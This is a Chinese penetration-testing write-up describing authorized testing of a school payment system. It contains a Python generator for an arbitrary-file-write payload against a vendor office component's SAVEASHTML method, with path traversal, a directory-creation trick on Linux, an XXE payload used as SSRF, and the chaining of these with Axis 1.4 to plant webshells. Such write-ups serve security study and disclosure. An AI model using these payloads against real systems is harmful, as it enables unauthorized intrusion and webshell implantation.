渗透测试-一次从黑盒转向白盒

6440
Web安全

Author: 远海@安恒卫兵实验室

0x01:前言

最近忙着复习,所以很少关注安全这块了。本次是针对自己学校某系统的渗透记录,已获得相应授权。通用漏洞涉及影响单位早前已提交至SRC平台,厂商已发布对应补丁。

0x02:信息收集

目标系统主要是一个支付平台,是近期刚上线的系统,向学校老师取得相应授权后开始测试。

软件开发商:`xx软件开发有限公司/xxsoft/xxxx.com.cn`
开发语言: `Java`
框架: `St2`

因为是近期刚上线的系统,单点认证还没有接入。无法通过单点认证登录此系统,在尝试爆破admin密码后无果. 开始转向源码的收集。毕竟白盒才是最直接的手段。源码的收集大致有以下几个思路:

1.百度云盘
2.闲鱼 (部分商家已搭建第三方系统为主可能有存货需要主动询问)
3.同系统站点下存在备份

百度云盘和闲鱼比较费时间,这两个主要看自身对关键词的理解。因为这两个思路基本被人玩的差不多了，也就 不在浪费时间了(后面找了下也确实没有)。先确定了该系统的指纹,使用 fofa 收集相同系统站点。
1.png

然后丢进御剑里走一遍。字典如下:

/ROOT.7z
/ROOT.rar
/ROOT.tar
/ROOT.tar.gz
/ROOT.war
/ROOT.zip
/web.tar
/web.tar.gz
/web.rar

这里其实需要注意.很多情况是tomcat下部署了多个应用。在不同目录中,而 ROOT 目录中只是几个简单的重定向 文件。所以在扫描多应用站点时,应该把 ROOT 改成应用所处目录名. 如:

/pay/index.jsp-- > /pay/ --> pay.war

上面这套思路纯粹看运气.结果也是没有扫到.

0x03:某组件存在安全问题

备份走不通只能走一些历史漏洞了。把url列表丢进自己写的轮子里扫一遍: (先是扫了一次目录,后根据目录再次验证)
2.png
发现ticket模块下存在 officeserver.jsp ,访问后出现提示

DBSTEP V3.0 0 14 0 请使用Post方法

典型的某格组件,该组件默认存在 SAVEASHTML 方法,攻击者构造特殊的数据包可以造成任意文件的写入: 并且默认使用Base64加密,主要问题在于数据包的构造: 一张图简单了解下具体格式. (别喷,我自己也看不懂)
3.jpg
解释:

具体参考DbStep.jar中的StreamToMsg 方法。这里只做简单的解释 数据包的前64字节为配置信息,告诉后端该如何读取,也就是0-63位。
其中 0:15 赋值给变量 FVersion , 16:31 赋值给变量 BodySize , 32:47 赋值给 ErrorSize . 48:63 赋值给 FFileSize .除了 FVersion ,其余中间内容只能填写数字,代表着各个变量的内容要读取多少位. 以 BodySize 为例子,这里的内容为 114 ,也就是说去除数据前64字节,在往后读114字节.这114字节内容赋值给 FMsgText .之后取参数也是从 FMsgText 中取，每个参数以 \n\t 进行分割。
4.png
以此类推. 了解如何构造对应数据包后开始编写脚本: 该组件默认会有一个 SAVEASHTML 方法。可以将 FFileSize 截取的内容存储到文件中。导致任意文件的写入。

else if (mOption.equalsIgnoreCase("SAVEASHTML")) { //
����Ĵ���Ϊ��OFFICE��ΪHTMLҳ��
mHtmlName = MsgObj.GetMsgByName("HTMLNAME"); //
ȡ���ļ�����
mDirectory = MsgObj.GetMsgByName("DIRECTORY"); //ȡ��Ŀ¼����
MsgObj.MsgTextClear();
if (mDirectory.trim().equalsIgnoreCase("")) {
mFilePath = mFilePath + "\\HTML";
}
else {
mFilePath = mFilePath + "\\HTML\\" + mDirectory;
}
MsgObj.MakeDirectory(mFilePath); //����·��
if (MsgObj.MsgFileSave(mFilePath + "\\" + mHtmlName)) { //
����HTML�ļ�
MsgObj.MsgError(""); //
���������Ϣ
MsgObj.SetMsgByName("STATUS", "����HTML�ɹ�!"); //
Ϣ��״̬����
}
else {
MsgObj.MsgError("����HTMLʧ��!"); //
���ô�����Ϣ
}
MsgObj.MsgFileClear();
}

当文件夹不存在时会自动创建对应的文件夹。MsgFileSave 方法后面拼接的 mHtmlName 内容可控,写入文件可以 尝试跨目录。编写生成脚本:

body = f"""DBSTEP=REJTVEVQ OPTION=U0FWRUFTSFRNTA== HTMLNAME=Ly4uLy4uLzEuanNw DIRECTORY=Lw==
LOCALFILE=MQ==""".replace(
' ', '\n').strip()
coente="""hello1"""
fileContent=f'''
{coente}
'''.replace("\n","").strip()
payload="DBSTEP V3.0 "
bodysieze=str(len(body))
filesize=str(len(fileContent))
payload+=str(int(bodysieze)+3)+' '*(16-len(bodysieze))+'0'+' '*15+filesize+' '*(16-
len(filesize))+body+fileContent
FVersion=payload[0:15]
print("version:",FVersion)
Body=payload[16:31]
print("BodySize:",Body)
Error=payload[32:47]
print("ErrorSize:",Error)
File=payload[48:63]
print("FileSize:",File)
print(payload)

使用postman发送payload到指定文件。
5.png
可能是觉得我操作的过于顺利,返回保存文件失败的内容,于是陷入了沉思。经过一系列的探索。我发现,当 FileName 中的内容不存在 /../ 跨目录符号时就能保存成功。

6.png

因为 mFilePath 取值就是当前应用的根目录
7.png

所以文件应该在 HTML 目录下。尝试访问.
8.png

​返回404错误,证明文件并没有写入到指定位置中。

0x04:Linux和Windows 写入文件的差异性

最后在请教忍酱后得知,由于目标是 Linux 系统,在 linux 系统中, \\ 被当做成一个文件夹。而 FileOutputStream 在写入文件时如果文件夹不存在会直接抛出错误。

Demo:
9.jpg
当写入文件时。由于文件夹不存在会创建一个 \HTML\test 的文件夹。而最终写入路径中的文件夹名为 \HTML\test\\, HTML\test\\ 名字的文件夹是不存在的，导致文件无法写入成功 .

在不使用 /../ 跨目录符号时,文件最终会以 \\HTML\\test\\1.txt 的文件名进行存储,这与预期也是不符合的。
10.jpg
解决方案:

在了解无法写入的原因后,开始寻找解决方法。既然该方法可以创建文件夹,那么如果我预先创建一个 \HTML\test\\ 命名的文件夹,后续不就可以写入了？\ 在创建文件夹时，如果 mDirectory 的内容不为空,那么最终存储的目录地址会进行一个拼接,然后创建。我们可 以在 mDirectory 上做一些尝试。在创建的文件夹名后面添加 \\\ 符号,来确保能创建我们预期的文件夹名
10.png
实践:
这里写了一个Demo,模拟最终写入文件的流程。在 path2 上添加多个 \\ .最终成功创建出了预期的\HTML\test\\ 文件夹。(实际环境中其实需要3个)
11.jpg
有了对应的文件夹,再次尝试写入,由于拼接的原因,需要在原来的目录后去掉一个 \
写入成功: 完成跨目录
12.jpg

根据目标系统生成对应的POC: 总共分两个步骤: 1.创建文件夹 2.写入文件
11.png
再次尝试写入文件:
12.png
成功写入！
13.png

0x05:终点也是起点

成功拿到Webshell后,根据现有POC.尝试在目标系统上复现,发现不存在 ticket 模块？？？,白干了？
14.png
好在先前拿的系统中存在 PAY 模块,可以直接下载下来进行代码审计。一顿审计过后发现并没有什么利用点???,该系统不存在文件上传点,并且SQL注入都会对传入的字符做处理
15.png
统一使用 org.apache.commons.lang.StringEscapeUtils.escapeSql 方法进行过滤。

这导致后续利用难。但是根据 web.xml ,发现该应用使用了 AXIS 且版本为1.4也开启了远程访问

16.png
Axis1.4 是存在一个远程命令执行的,可以向 web service 中添加恶意方法。导致命令执行。

​具体可以参考文章:https://paper.seebug.org/1489/#13-axis

该漏洞利用需要一个SSRF漏洞,来组合利用。
根据现有代码开始查找,是否有可控点。一顿操作下来发现并没有可以利用的SSRF点。基本都是固定的URL。

17.png
回想起最近才复现的 MySQL JDBC XXE漏洞(CVE-2021-2471) .xxe也是可以发送http请求的。(主要是平时不太关注这类漏洞)

在JAVA中,可能造成XXE漏洞的主要有以下:

SAXBuilder
SAXParserFactory
SAXReader
SAXTransformerFactory
TransformerFactory
ValidatorSample
XMLReader
Unmarshaller
SchemaFactory
.....

最终审计发现了一处 SAXBuilder 所造成的XXE漏洞。
18.png

构造Payload,测试一下dnslog。
Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b [<!ENTITY xxe SYSTEM "http://127.0.0.1:8041/?hello">]><name>&xxe;</name>

19.png
得到响应。
有了SSRF,后续利用起来也比较方便了。因为此系统安装路径都是统一的,公开的几个利用链都是第三方jar 包,LogHandler比较麻烦。所以这里在内置方法类中找了一个文件写入的方法。FileUtil下有一个 writeFileContent 方法，可以直接写入文件。

20.png
使用SSRF GET请求添加到 Web services ,"会有端口不一样的情况！"
(POST转换一下格式就可以)
21.png
22.png
方法被成功添加到Web Services中
23.png
调用方法,写入文件。成功拿到Webshell!
24.png

本文链接：

https://websecuritys.cn/index.php/archives/525/
1 + 9 =
快来做第一个评论的人吧~